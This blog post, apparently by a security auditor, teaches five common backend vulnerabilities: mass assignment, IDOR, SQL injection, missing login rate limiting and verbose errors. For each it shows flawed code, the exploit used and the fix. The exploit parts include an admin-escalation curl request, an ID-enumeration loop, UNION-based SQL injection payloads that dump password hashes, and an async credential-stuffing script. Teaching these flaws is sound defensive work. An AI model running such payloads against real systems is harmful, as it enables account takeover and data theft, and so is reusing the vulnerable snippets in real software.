Secure Code Review: The 5 Mistakes I Find in Every Backend
March 19, 2026I review backend code. Professionally. And let me tell you: the same mistakes show up in almost every project. Whether it's a startup with three devs or a mid-sized company with its own IT team — certain vulnerabilities are so widespread that I can practically check them off my list before I even open the first commit. In this post, I'll show you five security findings that I've encountered repeatedly over the past few months. Not from a textbook, but from real audits — anonymized, of course. For each finding, I'll explain what I found, how I exploited it, and how we fixed it together. That's also my approach as a full-cycle security engineer: I break in, then I install the door properly. Both perspectives go hand in hand.1. Mass Assignment: When the User Makes Themselves Admin
What I Found
Python
@router.put("/api/users/me")
async def update_profile(request: Request, db: Session = Depends(get_db)):
data = await request.json()
user = get_current_user(request, db)
for key, value in data.items():
setattr(user, key, value)
db.commit()
return {"status": "updated"}
How I Exploited It
Bash
curl -X PUT https://app.example.com/api/users/me \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"display_name": "David", "role": "admin", "email_verified": true}'
How I Fixed It
Python
from pydantic import BaseModel
from typing import Optional
class UserProfileUpdate(BaseModel):
display_name: Optional[str] = None
bio: Optional[str] = None
avatar_url: Optional[str] = None
# No additional fields. Period.
@router.put("/api/users/me")
async def update_profile(
update: UserProfileUpdate,
db: Session = Depends(get_db),
user: User = Depends(get_current_user)
):
update_data = update.model_dump(exclude_unset=True)
for key, value in update_data.items():
setattr(user, key, value)
db.commit()
return {"status": "updated"}
2. IDOR: Reading Other People's Invoices in 30 Seconds
What I Found
Python
@router.get("/api/invoices/{invoice_id}")
async def get_invoice(
invoice_id: int,
db: Session = Depends(get_db),
user: User = Depends(get_current_user)
):
invoice = db.query(Invoice).filter(Invoice.id == invoice_id).first()
if not invoice:
raise HTTPException(status_code=404, detail="Not found")
return invoice
How I Exploited It
Bash
for id in $(seq 1 1000); do
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://app.example.com/api/invoices/$id" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" = "200" ]; then
echo "Accessible: $id"
fi
done
How I Fixed It
Python
@router.get("/api/invoices/{invoice_id}")
async def get_invoice(
invoice_id: uuid.UUID,
db: Session = Depends(get_db),
user: User = Depends(get_current_user)
):
invoice = db.query(Invoice).filter(
Invoice.id == invoice_id,
Invoice.owner_id == user.id # Ownership check
).first()
if not invoice:
raise HTTPException(status_code=404, detail="Not found")
return invoice
Python
async def check_invoice_access(
invoice_id: uuid.UUID,
db: Session = Depends(get_db),
user: User = Depends(get_current_user)
) -> Invoice:
invoice = db.query(Invoice).filter(Invoice.id == invoice_id).first()
if not invoice:
raise HTTPException(status_code=404)
if invoice.owner_id != user.id and user.id not in [
m.user_id for m in invoice.shared_with
]:
raise HTTPException(status_code=404) # Here too: 404, not 403
return invoice
3. SQL Injection in the ORM — Yes, It Happens
What I Found
Python
@router.get("/api/products/search")
async def search_products(q: str, db: Session = Depends(get_db)):
results = db.execute(
text(f"SELECT * FROM products WHERE name LIKE '%{q}%'")
).fetchall()
return results
How I Exploited It
GET /api/products/search?q=' OR '1'='1
Response: All products in the database. Then the escalation:
GET /api/products/search?q=' UNION SELECT id,email,password_hash,role,null FROM users--
With that, I had the complete user table including password hashes. With a bcrypt hash, that's not immediately critical — but combined with a credential stuffing attack or weak passwords, it quickly becomes dangerous.
And the worst part: This spot wasn't caught in code review because it was in a file that hadn't been touched in months. "Legacy code, it works, we don't touch it." Everyone knows the story.
How I Fixed It
Python
@router.get("/api/products/search")
async def search_products(q: str, db: Session = Depends(get_db)):
results = db.execute(
text("SELECT * FROM products WHERE name LIKE :search"),
{"search": f"%{q}%"}
).fetchall()
return results
Python
@router.get("/api/products/search")
async def search_products(q: str, db: Session = Depends(get_db)):
results = db.query(Product).filter(
Product.name.ilike(f"%{q}%")
).all()
return results
Yaml
# .pre-commit-config.yaml
- repo: local
hooks:
- id: no-sql-fstrings
name: Check for SQL f-strings
entry: 'grep -rn "db\.execute.*f[\"'"'"']" --include="*.py"'
language: system
pass_filenames: false
4. No Rate Limiting on Auth Endpoints
What I Found
Javascript
// Express.js
app.post('/api/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
if (!user || !await bcrypt.compare(password, user.passwordHash)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET);
res.json({ token });
});
How I Exploited It
Python
import asyncio
import aiohttp
async def try_login(session, email, password):
async with session.post(
'https://app.example.com/api/auth/login',
json={'email': email, 'password': password}
) as resp:
if resp.status == 200:
print(f"[+] Valid: {email}")
return await resp.json()
async def main():
credentials = load_leaked_credentials() # Thousands of entries
async with aiohttp.ClientSession() as session:
tasks = [try_login(session, c['email'], c['password'])
for c in credentials]
await asyncio.gather(*tasks)
How I Fixed It
Javascript
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const { createClient } = require('redis');
const redisClient = createClient({ url: process.env.REDIS_URL });
// Global rate limiting
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100,
standardHeaders: true,
legacyHeaders: false,
});
// Strict rate limiting for auth endpoints
const authLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
windowMs: 15 * 60 * 1000,
max: 10, // 10 attempts per 15 minutes
skipSuccessfulRequests: true,
message: { error: 'Too many attempts. Please try again later.' },
});
app.use('/api/', globalLimiter);
app.use('/api/auth/', authLimiter);
Javascript
app.post('/api/auth/login', authLimiter, async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
// Generic error message -- ALWAYS the same
const GENERIC_ERROR = { error: 'Invalid credentials' };
if (!user) {
return res.status(401).json(GENERIC_ERROR);
}
// Check account lockout
if (user.lockoutUntil && user.lockoutUntil > new Date()) {
return res.status(401).json(GENERIC_ERROR); // Same message!
}
if (!await bcrypt.compare(password, user.passwordHash)) {
user.failedAttempts = (user.failedAttempts || 0) + 1;
if (user.failedAttempts >= 5) {
user.lockoutUntil = new Date(Date.now() + 30 * 60 * 1000);
user.failedAttempts = 0;
// Send alert to security team
await notifySecurityTeam(email, req.ip);
}
await user.save();
return res.status(401).json(GENERIC_ERROR);
}
// Successful login: reset counter
user.failedAttempts = 0;
user.lockoutUntil = null;
await user.save();
const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET);
res.json({ token });
});
5. Verbose Error Messages: Your Backend Tells Attackers Everything
What I Found
Json
{
"detail": "Traceback (most recent call last):\n File \"/app/api/routes/orders.py\", line 47, in create_order\n result = db.execute(text(\"INSERT INTO orders ...\"))\nsqlalchemy.exc.IntegrityError: ...\nConnection: postgresql://app_user:s3cret_passw0rd@10.0.1.5:5432/production_db"
}
- The internal file path (/app/api/routes/orders.py)
- The database structure (tables orders and products, foreign key constraints)
- The database username and password (app_user:s3cret_passw0rd)
- The internal IP address of the database server (10.0.1.5)
- The database name (production_db)
How I Exploited It
Python
import requests
payloads = [
{"product_id": 99999}, # Foreign Key Error -> DB schema
{"product_id": "abc"}, # Type Error -> Validation logic
{"quantity": -1}, # Constraint Error -> Business logic
{}, # Missing Field -> Required fields
{"product_id": 1, "x": "A"*10000} # Overflow -> Buffer/length limits
]
for payload in payloads:
resp = requests.post(
'https://app.example.com/api/orders',
json=payload,
headers={'Authorization': f'Bearer {token}'}
)
if resp.status_code >= 400:
print(f"Payload: {payload}")
print(f"Error: {resp.text}\n")
How I Fixed It
Python
import logging
import uuid
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
logger = logging.getLogger("app.errors")
app = FastAPI()
@app.exception_handler(Exception)
async def global_exception_handler(request: Request, exc: Exception):
# Unique error ID for correlation
error_id = str(uuid.uuid4())
# Internal: Log everything we need
logger.error(
"Unhandled exception",
extra={
"error_id": error_id,
"path": request.url.path,
"method": request.method,
"client_ip": request.client.host,
"exception_type": type(exc).__name__,
"exception_message": str(exc),
},
exc_info=True, # Full traceback in the log
)
# External: Generic message with error ID
return JSONResponse(
status_code=500,
content={
"error": "An internal error occurred.",
"error_id": error_id,
"support": "If this persists, contact support with the error_id."
}
)
The Pattern Behind It All
- Mass Assignment: Input not validated
- IDOR: Authorization not checked
- SQL Injection: User input not escaped
- Rate Limiting: Brute force not prevented
- Verbose Errors: Internal information not protected
What You Can Do Right Now
- Grep your code. Search for setattr in Python, for Object.assign in JavaScript, for raw SQL strings near your ORM imports. You'll probably find something.
- Check your auth endpoints. Open your terminal and fire 100 login requests in 10 seconds. If your server dutifully answers all of them: you have a problem.
- Provoke an error in production. Send a broken request to your API and look at the response. Do you see a traceback? A file path? A connection string? Then you know what needs to be done.